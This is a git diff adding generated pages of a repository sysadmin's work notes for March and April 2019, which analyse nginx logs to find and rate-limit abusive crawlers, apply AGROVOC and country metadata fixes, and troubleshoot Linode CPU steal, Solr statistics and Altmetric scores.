+    188 66.249.66.81
+    284 3.91.79.74
+    405 2a01:4f8:140:3192::2
+    471 66.249.66.80
+    712 35.174.184.209
+    784 2a01:4f8:13b:1296::2
+
    +
  • The two IPV6 addresses are something called BLEXBot, which seems to check the robots.txt file and then completely ignore it by making thousands of requests to dynamic pages like Browse and Discovery
    • +
  • Then 35.174.184.209 is MauiBot, which does the same thing
    • +
  • Also 3.91.79.74 does, which appears to be CCBot
    • +
  • I will add these three to the “bad bot” rate limiting that I originally used for Baidu
    • +
  • Going further, these are the IPs making requests to Discovery and Browse pages so far today:
    • +
+
# zcat --force /var/log/nginx/{access,error,library-access}.log /var/log/nginx/{access,error,library-access}.log.1 | grep -E "(discover|browse)" | grep -E "26/Mar/2019:" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    120 34.207.146.166
+    128 3.91.79.74
+    132 108.179.57.67
+    143 34.228.42.25
+    185 216.244.66.198
+    430 54.70.40.11
+   1033 93.179.69.74
+   1206 2a01:4f8:140:3192::2
+   2678 2a01:4f8:13b:1296::2
+   3790 35.174.184.209
+
    +
  • 54.70.40.11 is SemanticScholarBot
    • +
  • 216.244.66.198 is DotBot
    • +
  • 93.179.69.74 is some IP in Ukraine, which I will add to the list of bot IPs in nginx
    • +
  • I can only hope that this helps the load go down because all this traffic is disrupting the service for normal users and well-behaved bots (and interrupting my dinner and breakfast)
    • +
  • Looking at the database usage I’m wondering why there are so many connections from the DSpace CLI:
    • +
+
$ psql -c 'select * from pg_stat_activity' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+       5 dspaceApi
+     10 dspaceCli
+     13 dspaceWeb
+
    +
  • Looking closer I see they are all idle… so at least I know the load isn’t coming from some background nightly task or something
    • +
  • Make a minor edit to my agrovoc-lookup.py script to match subject terms with parentheses like COCOA (PLANT)
    • +
  • Test 89 corrections and 79 deletions for AGROVOC subject terms from the ones I cleaned up in the last week
    • +
+
$ ./fix-metadata-values.py -i /tmp/2019-03-26-AGROVOC-89-corrections.csv -db dspace -u dspace -p 'fuuu' -f dc.subject -m 57 -t correct -d -n
+$ ./delete-metadata-values.py -i /tmp/2019-03-26-AGROVOC-79-deletions.csv -db dspace -u dspace -p 'fuuu' -m 57 -f dc.subject -d -n
+
    +
  • UptimeRobot says CGSpace is down again, but it seems to just be slow, as the load is over 10.0
    • +
  • Looking at the nginx logs I don’t see anything terribly abusive, but SemrushBot has made ~3,000 requests to Discovery and Browse pages today:
    • +
+
# grep SemrushBot /var/log/nginx/access.log | grep -E "26/Mar/2019" | grep -E '(discover|browse)' | wc -l
+2931
+
    +
  • So I’m adding it to the badbot rate limiting in nginx, and actually, I kinda feel like just blocking all user agents with “bot” in the name for a few days to see if things calm down… maybe not just yet
    • +
  • Otherwise, these are the top users in the web and API logs the last hour (18–19):
    • +
+
# zcat --force /var/log/nginx/{access,error,library-access}.log /var/log/nginx/{access,error,library-access}.log.1 | grep -E "26/Mar/2019:(18|19)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10 
+     54 41.216.228.158
+     65 199.47.87.140
+     75 157.55.39.238
+     77 157.55.39.237
+     89 157.55.39.236
+    100 18.196.196.108
+    128 18.195.78.144
+    277 2a01:4f8:13b:1296::2
+    291 66.249.66.80
+    328 35.174.184.209
+# zcat --force /var/log/nginx/{oai,rest,statistics}.log /var/log/nginx/{oai,rest,statistics}.log.1 | grep -E "26/Mar/2019:(18|19)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+      2 2409:4066:211:2caf:3c31:3fae:2212:19cc
+      2 35.10.204.140
+      2 45.251.231.45
+      2 95.108.181.88
+      2 95.137.190.2
+      3 104.198.9.108
+      3 107.167.109.88
+      6 66.249.66.80
+     13 41.89.230.156
+   1860 45.5.184.2
+
    +
  • For the XMLUI I see 18.195.78.144 and 18.196.196.108 requesting only CTA items and with no user agent
    • +
  • They are responsible for almost 1,000 XMLUI sessions today:
    • +
+
$ grep -o -E 'session_id=[A-Z0-9]{32}:ip_addr=(18.195.78.144|18.196.196.108)' dspace.log.2019-03-26 | sort | uniq | wc -l
+937
+
    +
  • I will add their IPs to the list of bot IPs in nginx so I can tag them as bots to let Tomcat’s Crawler Session Manager Valve to force them to re-use their session
    • +
  • Another user agent behaving badly in Colombia is “GuzzleHttp/6.3.3 curl/7.47.0 PHP/7.0.30-0ubuntu0.16.04.1”
    • +
  • I will add curl to the Tomcat Crawler Session Manager because anyone using curl is most likely an automated read-only request
    • +
  • I will add GuzzleHttp to the nginx badbots rate limiting, because it is making requests to dynamic Discovery pages
    • +
+
# zcat --force /var/log/nginx/{access,error,library-access}.log /var/log/nginx/{access,error,library-access}.log.1 | grep 45.5.184.72 | grep -E "26/Mar/2019:" | grep -E '(discover|browse)' | wc -l                                        
+119
+
    +
  • What’s strange is that I can’t see any of their requests in the DSpace log…
    • +
+
$ grep -I -c 45.5.184.72 dspace.log.2019-03-26 
+0
+

2019-03-28

+
    +
  • Run the corrections and deletions to AGROVOC (dc.subject) on DSpace Test and CGSpace, and then start a full re-index of Discovery
    • +
  • What the hell is going on with this CTA publication?
    • +
+
# grep Spore-192-EN-web.pdf /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -n
+      1 37.48.65.147
+      1 80.113.172.162
+      2 108.174.5.117
+      2 83.110.14.208
+      4 18.196.8.188
+     84 18.195.78.144
+    644 18.194.46.84
+   1144 18.196.196.108
+
    +
  • None of these 18.x.x.x IPs specify a user agent and they are all on Amazon!
    • +
  • Shortly after I started the re-indexing UptimeRobot began to complain that CGSpace was down, then up, then down, then up…
    • +
  • I see the load on the server is about 10.0 again for some reason though I don’t know WHAT is causing that load +
      +
    • It could be the CPU steal metric, as if Linode has oversold the CPU resources on this VM host…
      • +
    +
    • +
  • Here are the Munin graphs of CPU usage for the last day, week, and year:
    • +
+

CPU day

+

CPU week

+

CPU year

+
    +
  • What’s clear from this is that some other VM on our host has heavy usage for about four hours at 6AM and 6PM and that during that time the load on our server spikes +
      +
    • CPU steal has drastically increased since March 25th
      • +
    • It might be time to move to a dedicated CPU VM instances, or even real servers
      • +
    • For now I just sent a support ticket to bring this to Linode’s attention
      • +
    +
    • +
  • In other news, I see that it’s not even the end of the month yet and we have 3.6 million hits already:
    • +
+
# zcat --force /var/log/nginx/* | grep -cE "[0-9]{1,2}/Mar/2019"
+3654911
+
    +
  • In other other news I see that DSpace has no statistics for years before 2019 currently, yet when I connect to Solr I see all the cores up
    • +
+

2019-03-29

+
    +
  • Sent Linode more information from top and iostat about the resource usage on linode18 +
      +
    • Linode agreed that the CPU steal percentage was high and migrated the VM to a new host
      • +
    • Now the resource contention is much lower according to iostat 1 10
      • +
    +
    • +
  • I restarted Tomcat to see if I could fix the missing pre-2019 statistics (yes it fixed it) +
      +
    • Though I looked in the Solr Admin UI and noticed a logging dashboard that show warnings and errors, and the first concerning Solr cores was on 3/27/2019, 8:50:35 AM so I should check the logs around that time to see if something happened
      • +
    +
    • +
+

2019-03-31

+
    +
  • After a few days of the CGSpace VM (linode18) being migrated to a new host the CPU steal is gone and the site is much more responsive
    • +
+

linode18 CPU usage after migration

+
    +
  • It is frustrating to see that the load spikes for own own legitimate load on the server were very aggravated and drawn out by the contention for CPU on this host
    • +
  • We had 4.2 million hits this month according to the web server logs:
    • +
+
# time zcat --force /var/log/nginx/* | grep -cE "[0-9]{1,2}/Mar/2019"
+4218841
+
+real    0m26.609s
+user    0m31.657s
+sys     0m2.551s
+
    +
  • Interestingly, now that the CPU steal is not an issue the REST API is ten seconds faster than it was in 2018-10:
    • +
+
$ time http --print h 'https://cgspace.cgiar.org/rest/items?expand=metadata,bitstreams,parentCommunityList&limit=100&offset=0'
+...
+0.33s user 0.07s system 2% cpu 17.167 total
+0.27s user 0.04s system 1% cpu 16.643 total
+0.24s user 0.09s system 1% cpu 17.764 total
+0.25s user 0.06s system 1% cpu 15.947 total
+
    +
  • I did some research on dedicated servers to potentially replace Linode for CGSpace stuff and it seems Hetzner is pretty good +
      +
    • This PX62-NVME system looks great an is half the price of our current Linode instance
      • +
    • It has 64GB of ECC RAM, six core Xeon processor from 2018, and 2x960GB NVMe storage
      • +
    • The alternative of staying with Linode and using dedicated CPU instances with added block storage gets expensive quickly if we want to keep more than 16GB of RAM (do we?) +
        +
      • Regarding RAM, our JVM heap is 8GB and we leave the rest of the system’s 32GB of RAM to PostgreSQL and Solr buffers
        • +
      • Seeing as we have 56GB of Solr data it might be better to have more RAM in order to keep more of it in memory
        • +
      • Also, I know that the Linode block storage is a major bottleneck for Solr indexing
        • +
      +
      • +
    +
    • +
  • Looking at the weird issue with shitloads of downloads on the CTA item again
    • +
  • The item was added on 2019-03-13 and these three IPs have attempted to download the item’s bitstream 43,000 times since it was added eighteen days ago:
    • +
+
# zcat --force /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/access.log.{2..17}.gz | grep 'Spore-192-EN-web.pdf' | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 5
+     42 196.43.180.134
+    621 185.247.144.227
+   8102 18.194.46.84
+  14927 18.196.196.108
+  20265 18.195.78.144
+
    +
  • I will send a mail to CTA to ask if they know these IPs
    • +
  • I wonder if the Cocoon errors we had earlier this month were inadvertently related to the CPU steal issue… I see very low occurrences of the “Can not load requested doc” error in the Cocoon logs the past few days
    • +
  • Helping Perttu debug some issues with the REST API on DSpace Test +
      +
    • He was getting an HTTP 500 when working with a collection, and I see the following in the DSpace log:
      • +
    +
    • +
+
2019-03-29 09:10:07,311 ERROR org.dspace.rest.Resource @ Could not delete collection(id=1451), AuthorizeException. Message: org.dspace.authorize.AuthorizeException: Authorization denied for action ADMIN on COLLECTION:1451 by user 9492
+
    +
  • IWMI people emailed to ask why two items with the same DOI don’t have the same Altmetric score: + +
    • +
  • Only the second one has an Altmetric score (208)
    • +
  • I tweeted handles for both of them to see if Altmetric will pick it up +
      +
    • About twenty minutes later the Altmetric score for the second one had increased from 208 to 209, but the first still had a score of zero
      • +
    • Interestingly, if I look at the network requests during page load for the first item I see the following response payload for the Altmetric API request:
      • +
    +
    • +
+
_altmetric.embed_callback({"title":"Distilling the role of ecosystem services in the Sustainable Development Goals","doi":"10.1016/j.ecoser.2017.10.010","tq":["Progress on 12 of 17 #SDGs rely on #ecosystemservices - new paper co-authored by a number of","Distilling the role of ecosystem services in the Sustainable Development Goals - new paper by @SNAPPartnership researchers","How do #ecosystemservices underpin the #SDGs? Our new paper starts counting the ways. Check it out in the link below!","Excellent paper about the contribution of #ecosystemservices to SDGs","So great to work with amazing collaborators"],"altmetric_jid":"521611533cf058827c00000a","issns":["2212-0416"],"journal":"Ecosystem Services","cohorts":{"sci":58,"pub":239,"doc":3,"com":2},"context":{"all":{"count":12732768,"mean":7.8220956572788,"rank":56146,"pct":99,"higher_than":12676701},"journal":{"count":549,"mean":7.7567299270073,"rank":2,"pct":99,"higher_than":547},"similar_age_3m":{"count":386919,"mean":11.573702536454,"rank":3299,"pct":99,"higher_than":383619},"similar_age_journal_3m":{"count":28,"mean":9.5648148148148,"rank":1,"pct":96,"higher_than":27}},"authors":["Sylvia L.R. Wood","Sarah K. Jones","Justin A. Johnson","Kate A. Brauman","Rebecca Chaplin-Kramer","Alexander Fremier","Evan Girvetz","Line J. Gordon","Carrie V. Kappel","Lisa Mandle","Mark Mulligan","Patrick O'Farrell","William K. Smith","Louise Willemen","Wei Zhang","Fabrice A. DeClerck"],"type":"article","handles":["10568/89975","10568/89846"],"handle":"10568/89975","altmetric_id":29816439,"schema":"1.5.4","is_oa":false,"cited_by_posts_count":377,"cited_by_tweeters_count":302,"cited_by_fbwalls_count":1,"cited_by_gplus_count":1,"cited_by_policies_count":2,"cited_by_accounts_count":306,"last_updated":1554039125,"score":208.65,"history":{"1y":54.75,"6m":10.35,"3m":5.5,"1m":5.5,"1w":1.5,"6d":1.5,"5d":1.5,"4d":1.5,"3d":1.5,"2d":1,"1d":1,"at":208.65},"url":"http://dx.doi.org/10.1016/j.ecoser.2017.10.010","added_on":1512153726,"published_on":1517443200,"readers":{"citeulike":0,"mendeley":248,"connotea":0},"readers_count":248,"images":{"small":"https://badges.altmetric.com/?size=64&score=209&types=tttttfdg","medium":"https://badges.altmetric.com/?size=100&score=209&types=tttttfdg","large":"https://badges.altmetric.com/?size=180&score=209&types=tttttfdg"},"details_url":"http://www.altmetric.com/details.php?citation_id=29816439"})
+
    +
  • The response paylod for the second one is the same:
    • +
+
_altmetric.embed_callback({"title":"Distilling the role of ecosystem services in the Sustainable Development Goals","doi":"10.1016/j.ecoser.2017.10.010","tq":["Progress on 12 of 17 #SDGs rely on #ecosystemservices - new paper co-authored by a number of","Distilling the role of ecosystem services in the Sustainable Development Goals - new paper by @SNAPPartnership researchers","How do #ecosystemservices underpin the #SDGs? Our new paper starts counting the ways. Check it out in the link below!","Excellent paper about the contribution of #ecosystemservices to SDGs","So great to work with amazing collaborators"],"altmetric_jid":"521611533cf058827c00000a","issns":["2212-0416"],"journal":"Ecosystem Services","cohorts":{"sci":58,"pub":239,"doc":3,"com":2},"context":{"all":{"count":12732768,"mean":7.8220956572788,"rank":56146,"pct":99,"higher_than":12676701},"journal":{"count":549,"mean":7.7567299270073,"rank":2,"pct":99,"higher_than":547},"similar_age_3m":{"count":386919,"mean":11.573702536454,"rank":3299,"pct":99,"higher_than":383619},"similar_age_journal_3m":{"count":28,"mean":9.5648148148148,"rank":1,"pct":96,"higher_than":27}},"authors":["Sylvia L.R. Wood","Sarah K. Jones","Justin A. Johnson","Kate A. Brauman","Rebecca Chaplin-Kramer","Alexander Fremier","Evan Girvetz","Line J. Gordon","Carrie V. Kappel","Lisa Mandle","Mark Mulligan","Patrick O'Farrell","William K. Smith","Louise Willemen","Wei Zhang","Fabrice A. DeClerck"],"type":"article","handles":["10568/89975","10568/89846"],"handle":"10568/89975","altmetric_id":29816439,"schema":"1.5.4","is_oa":false,"cited_by_posts_count":377,"cited_by_tweeters_count":302,"cited_by_fbwalls_count":1,"cited_by_gplus_count":1,"cited_by_policies_count":2,"cited_by_accounts_count":306,"last_updated":1554039125,"score":208.65,"history":{"1y":54.75,"6m":10.35,"3m":5.5,"1m":5.5,"1w":1.5,"6d":1.5,"5d":1.5,"4d":1.5,"3d":1.5,"2d":1,"1d":1,"at":208.65},"url":"http://dx.doi.org/10.1016/j.ecoser.2017.10.010","added_on":1512153726,"published_on":1517443200,"readers":{"citeulike":0,"mendeley":248,"connotea":0},"readers_count":248,"images":{"small":"https://badges.altmetric.com/?size=64&score=209&types=tttttfdg","medium":"https://badges.altmetric.com/?size=100&score=209&types=tttttfdg","large":"https://badges.altmetric.com/?size=180&score=209&types=tttttfdg"},"details_url":"http://www.altmetric.com/details.php?citation_id=29816439"})
+
    +
  • Very interesting to see this in the response:
    • +
+
"handles":["10568/89975","10568/89846"],
+"handle":"10568/89975"
+
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2019-04/index.html b/docs/2019-04/index.html new file mode 100644 index 000000000..93269e27c --- /dev/null +++ b/docs/2019-04/index.html @@ -0,0 +1,1353 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + April, 2019 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

April, 2019

+

+ + in + Notes + + +

+
+

2019-04-01

+
    +
  • Meeting with AgroKnow to discuss CGSpace, ILRI data, AReS, GARDIAN, etc +
      +
    • They asked if we had plans to enable RDF support in CGSpace
      • +
    +
    • +
  • There have been 4,400 more downloads of the CTA Spore publication from those strange Amazon IP addresses today +
      +
    • I suspected that some might not be successful, because the stats show less, but today they were all HTTP 200!
      • +
    +
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep 'Spore-192-EN-web.pdf' | grep -E '(18.196.196.108|18.195.78.144|18.195.218.6)' | awk '{print $9}' | sort | uniq -c | sort -n | tail -n 5
+   4432 200
+
    +
  • In the last two weeks there have been 47,000 downloads of this same exact PDF by these three IP addresses
    • +
  • Apply country and region corrections and deletions on DSpace Test and CGSpace:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2019-02-21-fix-9-countries.csv -db dspace -u dspace -p 'fuuu' -f cg.coverage.country -m 228 -t ACTION -d
+$ ./fix-metadata-values.py -i /tmp/2019-02-21-fix-4-regions.csv -db dspace -u dspace -p 'fuuu' -f cg.coverage.region -m 231 -t action -d
+$ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-2-countries.csv -db dspace -u dspace -p 'fuuu' -m 228 -f cg.coverage.country -d
+$ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-1-region.csv -db dspace -u dspace -p 'fuuu' -m 231 -f cg.coverage.region -d
+

2019-04-02

+
    +
  • CTA says the Amazon IPs are AWS gateways for real user traffic
    • +
  • I was trying to add Felix Shaw’s account back to the Administrators group on DSpace Test, but I couldn’t find his name in the user search of the groups page +
      +
    • If I searched for “Felix” or “Shaw” I saw other matches, included one for his personal email address!
      • +
    • I ended up finding him via searching for his email address
      • +
    +
    • +
+

2019-04-03

+
    +
  • Maria from Bioversity emailed me a list of new ORCID identifiers for their researchers so I will add them to our controlled vocabulary +
      +
    • First I need to extract the ones that are unique from their list compared to our existing one:
      • +
    +
    • +
+
$ cat dspace/config/controlled-vocabularies/cg-creator-id.xml /tmp/bioversity.txt | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort -u > /tmp/2019-04-03-orcid-ids.txt
+
    +
  • We currently have 1177 unique ORCID identifiers, and this brings our total to 1237!
    • +
  • Next I will resolve all their names using my resolve-orcids.py script:
    • +
+
$ ./resolve-orcids.py -i /tmp/2019-04-03-orcid-ids.txt -o 2019-04-03-orcid-ids.txt -d
+
    +
  • After that I added the XML formatting, formatted the file with tidy, and sorted the names in vim
    • +
  • One user’s name has changed so I will update those using my fix-metadata-values.py script:
    • +
+
$ ./fix-metadata-values.py -i 2019-04-03-update-orcids.csv -db dspace -u dspace -p 'fuuu' -f cg.creator.id -m 240 -t correct -d
+
    +
  • I created a pull request and merged the changes to the 5_x-prod branch (#417)
    • +
  • A few days ago I noticed some weird update process for the statistics-2018 Solr core and I see it’s still going:
    • +
+
2019-04-03 16:34:02,262 INFO  org.dspace.statistics.SolrLogger @ Updating : 1754500/21701 docs in http://localhost:8081/solr//statistics-2018
+
    +
  • Interestingly, there are 5666 occurences, and they are mostly for the 2018 core:
    • +
+
$ grep 'org.dspace.statistics.SolrLogger @ Updating' /home/cgspace.cgiar.org/log/dspace.log.2019-04-03 | awk '{print $11}' | sort | uniq -c
+      1 
+      3 http://localhost:8081/solr//statistics-2017
+   5662 http://localhost:8081/solr//statistics-2018
+
    +
  • I will have to keep an eye on it because nothing should be updating 2018 stats in 2019…
    • +
+

2019-04-05

+
    +
  • Uptime Robot reported that CGSpace (linode18) went down tonight
    • +
  • I see there are lots of PostgreSQL connections:
    • +
+
$ psql -c 'select * from pg_stat_activity' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+      5 dspaceApi
+     10 dspaceCli
+    250 dspaceWeb
+
    +
  • I still see those weird messages about updating the statistics-2018 Solr core:
    • +
+
2019-04-05 21:06:53,770 INFO  org.dspace.statistics.SolrLogger @ Updating : 2444600/21697 docs in http://localhost:8081/solr//statistics-2018
+
    +
  • Looking at iostat 1 10 I also see some CPU steal has come back, and I can confirm it by looking at the Munin graphs:
    • +
+

CPU usage week

+
    +
  • The other thing visible there is that the past few days the load has spiked to 500% and I don’t think it’s a coincidence that the Solr updating thing is happening…
    • +
  • I ran all system updates and rebooted the server +
      +
    • The load was lower on the server after reboot, but Solr didn’t come back up properly according to the Solr Admin UI:
      • +
    +
    • +
+
statistics-2017: org.apache.solr.common.SolrException:org.apache.solr.common.SolrException: Error opening new searcher 
+
    +
  • I restarted it again and all the Solr cores came up properly…
    • +
+

2019-04-06

+
    +
  • Udana asked why item 10568/91278 didn’t have an Altmetric badge on CGSpace, but on the WLE website it does +
      +
    • I looked and saw that the WLE website is using the Altmetric score associated with the DOI, and that the Handle has no score at all
      • +
    • I tweeted the item and I assume this will link the Handle with the DOI in the system
      • +
    • Twenty minutes later I see the same Altmetric score (9) on CGSpace
      • +
    +
    • +
  • Linode sent an alert that there was high CPU usage this morning on CGSpace (linode18) and these were the top IPs in the webserver access logs around the time:
    • +
+
# zcat --force /var/log/nginx/{access,error,library-access}.log /var/log/nginx/{access,error,library-access}.log.1 | grep -E "06/Apr/2019:(06|07|08|09)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    222 18.195.78.144
+    245 207.46.13.58
+    303 207.46.13.194
+    328 66.249.79.33
+    564 207.46.13.210
+    566 66.249.79.62
+    575 40.77.167.66
+   1803 66.249.79.59
+   2834 2a01:4f8:140:3192::2
+   9623 45.5.184.72
+# zcat --force /var/log/nginx/{rest,oai}.log /var/log/nginx/{rest,oai}.log.1 | grep -E "06/Apr/2019:(06|07|08|09)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     31 66.249.79.62
+     41 207.46.13.210
+     42 40.77.167.66
+     54 42.113.50.219
+    132 66.249.79.59
+    785 2001:41d0:d:1990::
+   1164 45.5.184.72
+   2014 50.116.102.77
+   4267 45.5.186.2
+   4893 205.186.128.185
+
    +
  • 45.5.184.72 is in Colombia so it’s probably CIAT, and I see they are indeed trying to get crawl the Discover pages on CIAT’s datasets collection:
    • +
+
GET /handle/10568/72970/discover?filtertype_0=type&filtertype_1=author&filter_relational_operator_1=contains&filter_relational_operator_0=equals&filter_1=&filter_0=Dataset&filtertype=dateIssued&filter_relational_operator=equals&filter=2014
+
    +
  • Their user agent is the one I added to the badbots list in nginx last week: “GuzzleHttp/6.3.3 curl/7.47.0 PHP/7.0.30-0ubuntu0.16.04.1”
    • +
  • They made 22,000 requests to Discover on this collection today alone (and it’s only 11AM):
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep "06/Apr/2019" | grep 45.5.184.72 | grep -oE '/handle/[0-9]+/[0-9]+/discover' | sort | uniq -c 
+  22077 /handle/10568/72970/discover
+
    +
  • Yesterday they made 43,000 requests and we actually blocked most of them:
    • +
+
# zcat --force /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/access.log.2.gz | grep "05/Apr/2019" | grep 45.5.184.72 | grep -oE '/handle/[0-9]+/[0-9]+/discover' | sort | uniq -c 
+  43631 /handle/10568/72970/discover
+# zcat --force /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/access.log.2.gz | grep "05/Apr/2019" | grep 45.5.184.72 | grep -E '/handle/[0-9]+/[0-9]+/discover' | awk '{print $9}' | sort | uniq -c 
+    142 200
+  43489 503
+
    +
  • I need to find a contact at CIAT to tell them to use the REST API rather than crawling Discover
    • +
  • Maria from Bioversity recommended that we use the phrase “AGROVOC subject” instead of “Subject” in Listings and Reports +
      +
    • I made a pull request to update this and merged it to the 5_x-prod branch (#418)
      • +
    +
    • +
+

2019-04-07

+
    +
  • Looking into the impact of harvesters like 45.5.184.72, I see in Solr that this user is not categorized as a bot so it definitely impacts the usage stats by some tens of thousands per day
    • +
  • Last week CTA switched their frontend code to use HEAD requests instead of GET requests for bitstreams +
      +
    • I am trying to see if these are registered as downloads in Solr or not
      • +
    • I see 96,925 downloads from their AWS gateway IPs in 2019-03:
      • +
    +
    • +
+
$ http --print b 'http://localhost:8081/solr/statistics/select?q=type%3A0+AND+(ip%3A18.196.196.108+OR+ip%3A18.195.78.144+OR+ip%3A18.195.218.6)&fq=statistics_type%3Aview&fq=bundleName%3AORIGINAL&fq=dateYearMonth%3A2019-03&rows=0&wt=json&indent=true'
+{
+    "response": {
+        "docs": [],
+        "numFound": 96925,
+        "start": 0
+    },
+    "responseHeader": {
+        "QTime": 1,
+        "params": {
+            "fq": [
+                "statistics_type:view",
+                "bundleName:ORIGINAL",
+                "dateYearMonth:2019-03"
+            ],
+            "indent": "true",
+            "q": "type:0 AND (ip:18.196.196.108 OR ip:18.195.78.144 OR ip:18.195.218.6)",
+            "rows": "0",
+            "wt": "json"
+        },
+        "status": 0
+    }
+}
+
    +
  • Strangely I don’t see many hits in 2019-04:
    • +
+
$ http --print b 'http://localhost:8081/solr/statistics/select?q=type%3A0+AND+(ip%3A18.196.196.108+OR+ip%3A18.195.78.144+OR+ip%3A18.195.218.6)&fq=statistics_type%3Aview&fq=bundleName%3AORIGINAL&fq=dateYearMonth%3A2019-04&rows=0&wt=json&indent=true'
+{
+    "response": {
+        "docs": [],
+        "numFound": 38,
+        "start": 0
+    },
+    "responseHeader": {
+        "QTime": 1,
+        "params": {
+            "fq": [
+                "statistics_type:view",
+                "bundleName:ORIGINAL",
+                "dateYearMonth:2019-04"
+            ],
+            "indent": "true",
+            "q": "type:0 AND (ip:18.196.196.108 OR ip:18.195.78.144 OR ip:18.195.218.6)",
+            "rows": "0",
+            "wt": "json"
+        },
+        "status": 0
+    }
+}
+
+
$ http --print Hh GET https://dspacetest.cgiar.org/bitstream/handle/10568/100289/Spore-192-EN-web.pdf
+GET /bitstream/handle/10568/100289/Spore-192-EN-web.pdf HTTP/1.1
+Accept: */*
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Host: dspacetest.cgiar.org
+User-Agent: HTTPie/1.0.2
+
+HTTP/1.1 200 OK
+Connection: keep-alive
+Content-Language: en-US
+Content-Length: 2069158
+Content-Type: application/pdf;charset=ISO-8859-1
+Date: Sun, 07 Apr 2019 08:38:34 GMT
+Expires: Sun, 07 Apr 2019 09:38:34 GMT
+Last-Modified: Thu, 14 Mar 2019 11:20:05 GMT
+Server: nginx
+Set-Cookie: JSESSIONID=21A492CC31CA8845278DFA078BD2D9ED; Path=/; Secure; HttpOnly
+Vary: User-Agent
+X-Cocoon-Version: 2.2.0
+X-Content-Type-Options: nosniff
+X-Frame-Options: SAMEORIGIN
+X-Robots-Tag: none
+X-XSS-Protection: 1; mode=block
+
+$ http --print Hh HEAD https://dspacetest.cgiar.org/bitstream/handle/10568/100289/Spore-192-EN-web.pdf      
+HEAD /bitstream/handle/10568/100289/Spore-192-EN-web.pdf HTTP/1.1                                                            
+Accept: */*
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Host: dspacetest.cgiar.org
+User-Agent: HTTPie/1.0.2
+
+HTTP/1.1 200 OK
+Connection: keep-alive
+Content-Language: en-US
+Content-Length: 2069158
+Content-Type: application/pdf;charset=ISO-8859-1
+Date: Sun, 07 Apr 2019 08:39:01 GMT
+Expires: Sun, 07 Apr 2019 09:39:01 GMT
+Last-Modified: Thu, 14 Mar 2019 11:20:05 GMT
+Server: nginx
+Set-Cookie: JSESSIONID=36C8502257CC6C72FD3BC9EBF91C4A0E; Path=/; Secure; HttpOnly                                            
+Vary: User-Agent
+X-Cocoon-Version: 2.2.0
+X-Content-Type-Options: nosniff
+X-Frame-Options: SAMEORIGIN
+X-Robots-Tag: none
+X-XSS-Protection: 1; mode=block
+
    +
  • And from the server side, the nginx logs show:
    • +
+
78.x.x.x - - [07/Apr/2019:01:38:35 -0700] "GET /bitstream/handle/10568/100289/Spore-192-EN-web.pdf HTTP/1.1" 200 68078 "-" "HTTPie/1.0.2"
+78.x.x.x - - [07/Apr/2019:01:39:01 -0700] "HEAD /bitstream/handle/10568/100289/Spore-192-EN-web.pdf HTTP/1.1" 200 0 "-" "HTTPie/1.0.2"
+
    +
  • So definitely the size of the transfer is more efficient with a HEAD, but I need to wait to see if these requests show up in Solr +
      +
    • After twenty minutes of waiting I still don’t see any new requests in the statistics core, but when I try the requests from the command line again I see the following in the DSpace log:
      • +
    +
    • +
+
2019-04-07 02:05:30,966 INFO  org.dspace.usage.LoggerUsageEventListener @ anonymous:session_id=EF2DB6E4F69926C5555B3492BB0071A8:ip_addr=78.x.x.x:view_bitstream:bitstream_id=165818
+2019-04-07 02:05:39,265 INFO  org.dspace.usage.LoggerUsageEventListener @ anonymous:session_id=B6381FC590A5160D84930102D068C7A3:ip_addr=78.x.x.x:view_bitstream:bitstream_id=165818
+
    +
  • So my inclination is that both HEAD and GET requests are registered as views as far as Solr and DSpace are concerned +
      +
    • Strangely, the statistics Solr core says it hasn’t been modified in 24 hours, so I tried to start the “optimize” process from the Admin UI and I see this in the Solr log:
      • +
    +
    • +
+
2019-04-07 02:08:44,186 INFO  org.apache.solr.update.UpdateHandler @ start commit{,optimize=true,openSearcher=true,waitSearcher=true,expungeDeletes=false,softCommit=false,prepareCommit=false}
+
    +
  • Ugh, even after optimizing there are no Solr results for requests from my IP, and actually I only see 18 results from 2019-04 so far and none of them are statistics_type:view… very weird +
      +
    • I don’t even see many hits for days after 2019-03-17, when I migrated the server to Ubuntu 18.04 and copied the statistics core from CGSpace (linode18)
      • +
    • I will try to re-deploy the 5_x-dev branch and test again
      • +
    +
    • +
  • According to the DSpace 5.x Solr documentation the default commit time is after 15 minutes or 10,000 documents (see solrconfig.xml)
    • +
  • I looped some GET and HEAD requests to a bitstream on my local instance and after some time I see that they do register as downloads (even though they are internal):
    • +
+
$ http --print b 'http://localhost:8080/solr/statistics/select?q=type%3A0+AND+time%3A2019-04-07*&fq=statistics_type%3Aview&fq=isInternal%3Atrue&rows=0&wt=json&indent=true'
+{
+    "response": {
+        "docs": [],
+        "numFound": 909,
+        "start": 0
+    },
+    "responseHeader": {
+        "QTime": 0,
+        "params": {
+            "fq": [
+                "statistics_type:view",
+                "isInternal:true"
+            ],
+            "indent": "true",
+            "q": "type:0 AND time:2019-04-07*",
+            "rows": "0",
+            "wt": "json"
+        },
